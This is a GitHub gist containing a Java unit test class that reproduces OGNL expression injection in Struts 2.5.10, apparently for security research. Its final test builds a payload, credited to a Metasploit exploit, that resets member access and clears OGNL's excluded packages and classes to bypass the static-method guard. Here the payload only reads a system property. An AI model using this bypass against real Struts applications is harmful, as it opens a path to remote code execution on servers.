Skip to content

Instantly share code, notes, and snippets.

@SylvainJuge
Last active June 7, 2018 09:32
Show Gist options
  • Save SylvainJuge/7ba5edf3e4a1f2482c909df4bf90a40d to your computer and use it in GitHub Desktop.
Save SylvainJuge/7ba5edf3e4a1f2482c909df4bf90a40d to your computer and use it in GitHub Desktop.
Struts 2.5.10 Ognl code execution with unit tests
package io.sqreen.sandbox;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.TextProvider;
import com.opensymphony.xwork2.XWorkTestCase;
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
import com.opensymphony.xwork2.ognl.OgnlUtil;
import com.opensymphony.xwork2.ognl.OgnlValueStack;
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
import com.opensymphony.xwork2.util.CompoundRoot;
import com.opensymphony.xwork2.util.LocalizedTextUtil;
import com.opensymphony.xwork2.util.ValueStack;
import ognl.PropertyAccessor;
import org.junit.Test;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class TestOgnl extends XWorkTestCase {
private OgnlUtil ognlUtil;
@Override
public void setUp() throws Exception {
super.setUp();
ognlUtil = container.getInstance(OgnlUtil.class);
assertNotNull(ognlUtil); // first step : being able to initialize OgnlUtil class
}
@Test
public void testBasicOgnl() {
setupContext(true); // we start with safety checks disabled
// check very basic behavior : an unknown localized key is returned as-is
assertEquals("hello", getMissingLocalizedText("hello"));
}
@Test
public void testGetSystemProperty_easyMode() {
// still with safety checks disabled, we try to get a system property from OGNL expression
setupContext(true);
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
}
@Test
public void testGetSystemProperty_staticMethodDisabled() {
// with safety checks, we arent able to get a system property
setupContext(false);
assertEquals("", getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
}
@Test
public void testGetSystemProperty_bypassStaticMethodCheck() {
// here we reuse the available exploit to bypass safety checks.
// once this works, we have a malicious payload !
setupContext(false);
String ognl = Stream.of(
//
// this is disabling OgnlUtil static method access, directly taken from metaspoilt exploit
// here equivalent to executing in plain java :
//
// ognlUtil.setAllowStaticMethodAccess(Boolean.toString(true));
//
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).",
"(#_memberAccess?",
"(#_memberAccess=#dm):",
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).",
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).",
"(#ognlUtil.getExcludedPackageNames().clear()).",
"(#ognlUtil.getExcludedClasses().clear()).",
"(#context.setMemberAccess(#dm)))).",
//
// what we expect as output
"(@java.lang.System@getProperty('os.name'))"
).collect(Collectors.joining());
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{" + ognl + "}"));
}
private void setupContext(boolean allowStaticMethodAccess) {
ValueStack valueStack = createValueStack(allowStaticMethodAccess);
Map<String, Object> contextObjects = new HashMap<>();
ActionContext actionContext = new ActionContext(contextObjects);
actionContext.setValueStack(valueStack);
// action context is stored in a thread-local
ActionContext.setContext(actionContext);
}
private String getMissingLocalizedText(String defaultMessage) {
System.out.println(String.format("payload : %s", defaultMessage));
return LocalizedTextUtil.findText(TestOgnl.class, "text_that_does_not_exists", Locale.getDefault(), defaultMessage, new Object[0]);
}
private OgnlValueStack createValueStack(boolean allowStaticMethodAccess) {
OgnlValueStack stack = new MyValueStack(
container.getInstance(XWorkConverter.class),
(CompoundRootAccessor) container.getInstance(PropertyAccessor.class, CompoundRoot.class.getName()),
container.getInstance(TextProvider.class, "system"), allowStaticMethodAccess);
container.inject(stack);
// we have to set stack container
stack.getContext().put(ActionContext.CONTAINER, container);
ognlUtil.setAllowStaticMethodAccess(Boolean.toString(allowStaticMethodAccess));
return stack;
}
// we need to subclass because of protected OgnlValueStack constructor
// note that we could also have moved this test class to the same package to avoid this
private class MyValueStack extends OgnlValueStack {
public MyValueStack(XWorkConverter xWorkConverter, CompoundRootAccessor compoundRootAccessor, TextProvider textProvider, boolean allowStaticMethodAccess) {
super(xWorkConverter, compoundRootAccessor, textProvider, allowStaticMethodAccess);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment